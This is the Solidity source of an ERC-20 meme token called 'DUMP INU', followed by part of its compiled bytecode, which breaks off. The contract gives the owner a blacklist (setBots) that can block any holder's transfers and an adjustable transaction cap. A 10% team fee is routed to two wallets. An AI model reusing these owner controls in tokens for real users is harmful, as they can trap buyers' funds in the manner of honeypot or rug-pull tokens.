interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract dINU is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "DUMP INU";
string private constant _symbol = 'dINU';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 200000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117ce565b6040518082815260200191505060405180910390f35b60606040518060400160405280600881526020017f44554d5020494e55000000000000000000000000000000000000000000000000815250905090565b600061076b610764611855565b848461185d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a54565b6108548461079f611855565b61084f85604051806060016040528060288152602001613d0d60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611855565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461227f9092919063ffffffff16565b61185d565b600190509392505050565b610867611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611855565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf8161233f565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461243a565b90505b919050565b610bd5611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f64494e5500000000000000000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611855565b8484611a54565b6001905092915050565b610ddf611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611855565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124be565b50565b610fa9611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061185d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa1580156111d6573d6000803e3d6000fd5b505050506040513d60208110156111ec57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561125f57600080fd5b505afa158015611273573d6000803e3d6000fd5b505050506040513d602081101561128957600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561130357600080fd5b505af1158015611317573d6000803e3d6000fd5b505050506040513d602081101561132d57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306113c730610ae2565b6000806113d2610d53565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561145757600080fd5b505af115801561146b573d6000803e3d6000fd5b50505050506040513d606081101561148257600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506001601360176101000a81548160ff021916908315150217905550680ad78ebc5ac62000006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156115e057600080fd5b505af11580156115f4573d6000803e3d6000fd5b505050506040513d602081101561160a57600080fd5b81019080805190602001909291905050505050565b611627611855565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000811161175d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b61178c606461177e83683635c9adc5dea000006127a890919063ffffffff16565b61282e90919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613d836024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611969576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613cca6022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ada576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613d5e6025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613c7d6023913960400191505060405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613d356029913960400191505060405180910390fd5b611bc1610d53565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610d53565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156121bc57601360179054906101000a900460ff1615611e95573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cb157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611d0b5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d655750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611e9457601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611dab611855565b73ffffffffffffffffffffffffffffffffffffffff161480611e215750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e09611855565b73ffffffffffffffffffffffffffffffffffffffff16145b611e93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b601454811115611ea457600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611f485750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611f5157600080fd5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611ffc5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156120525750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561206a5750601360179054906101000a900460ff165b156121025742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054106120ba57600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600061210d30610ae2565b9050601360159054906101000a900460ff1615801561217a5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156121925750601360169054906101000a900460ff165b156121ba576121a0816124be565b600047905060008111156121b8576121b74761233f565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122635750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561226d57600090505b61227984848484612878565b50505050565b600083831115829061232c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156122f15780820151818401526020810190506122d6565b50505050905090810190601f16801561231e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61238f60028461282e90919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156123ba573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61240b60028461282e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612436573d6000803e3d6000fd5b5050565b6000600a54821115612497576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613ca0602a913960400191505060405180910390fd5b60006124a1612acf565b90506124b6818461282e90919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156124f357600080fd5b506040519080825280602002602001820160405280156125225781602001602082028036833780820191505090505b509050308160008151811061253357fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125d557600080fd5b505afa1580156125e9573d6000803e3d6000fd5b505050506040513d60208110156125ff57600080fd5b81019080805190602001909291905050508160018151811061261d57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061268430601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461185d565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b8381101561274857808201518184015260208101905061272d565b505050509050019650505050505050600060405180830381600087803b15801561277157600080fd5b505af1158015612785573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156127bb5760009050612828565b60008284029050828482816127cc57fe5b0414612823576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613cec6021913960400191505060405180910390fd5b809150505b92915050565b600061287083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612afa565b905092915050565b8061288657612885612bc0565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156129295750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561293e57612939848484612c03565b612abb565